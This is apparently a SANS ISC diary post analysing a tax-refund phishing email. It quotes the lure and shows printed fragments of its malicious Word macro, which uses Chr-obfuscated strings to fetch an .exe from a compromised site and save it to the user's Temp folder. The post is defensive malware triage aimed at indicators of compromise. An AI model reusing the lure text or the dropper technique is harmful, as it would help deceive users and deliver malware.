SANS ISC: Fast analysis of a Tax Scam

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SANS ISC InfoSec Forums

It’s tax time and I’m starting to see a lot of  Phish/SPAM about this subject. Below is popular one the last couple of days.

=================

TAХ RЕTURN FOR ТНE YEАR 2014

RЕCАLCULАTION ОF YOUR ТАХ RЕFUND

HМRС 2013-2014

LOСАL OFFIСE No. 2669

ТАX СREDIТ ОFFICЕR: Jimmie Bеnton

TАХ REFUND ID NUМВER: 2440409

REFUND AМOUNТ: 2709.81 USD

Dеar USER,

The соntents оf this emаil and аnу attachmеnts arе соnfidentiаl and аs

арpliсablе, сорyright in thеse is resеrvеd tо IRS Rеvеnuе Customs.

Unless eхprеsslу аuthorised bу us, any further dissеmination or

distributiоn of this еmail оr its аttaсhmеnts is рrоhibited.

If you are nоt the intеnded rеcipiеnt оf this emаil, plеаsе reрly to

infоrm us thаt уоu have rесеived this еmаil in error and thеn

deletе it without retaining аnу сoрy.

I am sеnding this emаil to annоunсe: After the lаst аnnuаl саlсulаtiоn оf

yоur fiscаl аctivitу we hаvе determined that yоu аrе еligiblе to

rесеive a tаx refund оf 2709.81 USD

Yоu havе attaсhed the taх return form with the TАX RЕFUND NUMВЕR

ID: 2440409, сomplеte the tах rеturn fоrm аttаched to this mеssagе.

Aftеr соmрleting the form, pleаsе submit thе fоrm by clicking thе

SUВMIТ buttоn оn fоrm.

Sinсеrely,

Jimmiе Вenton

IRS Tax Credit Оffice

ТAХ RЕFUND ID: US2440409-IRS

© Сорyright 2015, IRS Rеvenue &аmр; Сustоms US

Аll rights rеserved.

======================

With so many of these types of mails, analysis needs to be quick to determine who may have been affected.  Here is the process.

1.    Rename the .doc file to .zip

$mv tax_refund_2440409.zip MALWARE-tax_refund_2440409.zip

2.    Unzip file

$unzip MALWARE-tax_refund_2440409.zip

 inflating: [Content_Types].xml     

 inflating: _rels/.rels             

 inflating: word/_rels/document.xml.rels  

 inflating: word/document.xml       

 inflating: word/header3.xml        

 inflating: word/footer2.xml        

 inflating: word/footer1.xml        

 inflating: word/header2.xml        

 inflating: word/header1.xml        

 inflating: word/endnotes.xml       

 inflating: word/footnotes.xml      

 inflating: word/footer3.xml        

 inflating: word/theme/theme1.xml   

 inflating: word/_rels/vbaProject.bin.rels  

 inflating: word/vbaProject.bin     

 inflating: word/settings.xml       

 inflating: word/vbaData.xml        

 inflating: word/webSettings.xml    

 inflating: word/styles.xml         

 inflating: docProps/app.xml        

 inflating: docProps/core.xml       

 inflating: word/fontTable.xml

3.    The vbaProject.bin is the code we want to look at and need to run strings on it.

$strings /word/vbaProject.bin

…

Select * from Win32_OperatingSystem

@echo off

ping 2.2.1.1 -n

…

$someFilePath = 'c:\Users\

\AppData\Local\Temp\

444.e

strRT =

://www.zaphira.de/wp-admin/includes/file

...

Within about 2 minutes I was able to determine some basic IOCs and sees if anyone actually accessed the site or tried to ping the address.

Deeper

If you want to dig deeper and spend a bit more time, you can install and configure  oledump which was discussed on (hxxps://isc.sans.edu/diary/oledump+analysis+of+Rocket+Kitten+-+Guest+Diary+by+Didier+Stevens/19137).

To list all the parts of the file, just run the script with no switches.

                   $python oledump_V0_0_8/oledump.py MALWARE-tax_refund_2440409.doc

A: word/vbaProject.bin

A1:       556 'PROJECT'

A2:        71 'PROJECTwm'

A3:        97 'UserForm1/\x01CompObj'

A4:       266 'UserForm1/\x03VBFrame'

A5:        58 'UserForm1/f'

A6:         0 'UserForm1/o'

A7: M   25751 'VBA/ThisDocument'

A8: m    1159 'VBA/UserForm1'

A9:      4506 'VBA/_VBA_PROJECT'

A10:       811 'VBA/dir'

To get the whole script use the following.

$python oledump.py -s A7 -v MALWARE-tax_refund_2440409.doc

The output is sent to the screen to look at.

…

Print #FileNumber, "strRT = " + Chr(34) + "h" + Chr(Asc(Chr(Asc("t")))) + "t" + "p" + "://www.zaphira.de/wp-admin/includes/file" + "." + Chr(Asc("e")) + Chr(Asc("x")) + "e" + Chr(34)

…

Print #FileNumber, "$someFilePath = 'c:\Users\" + USER + "\AppData\Local\Temp\" + "444.e" & Chr(Asc("x")) + "e" & "';"

In this case, oledump gave us a lot more info, but proves we were on the right track with simple strings of the file. Additionally, we can see an infected user may have a file called 444.exe . There are lots more local IOC’s we could create, but with the few network IOC’s we can get fast idea of possible affected users.

--

Tom Webb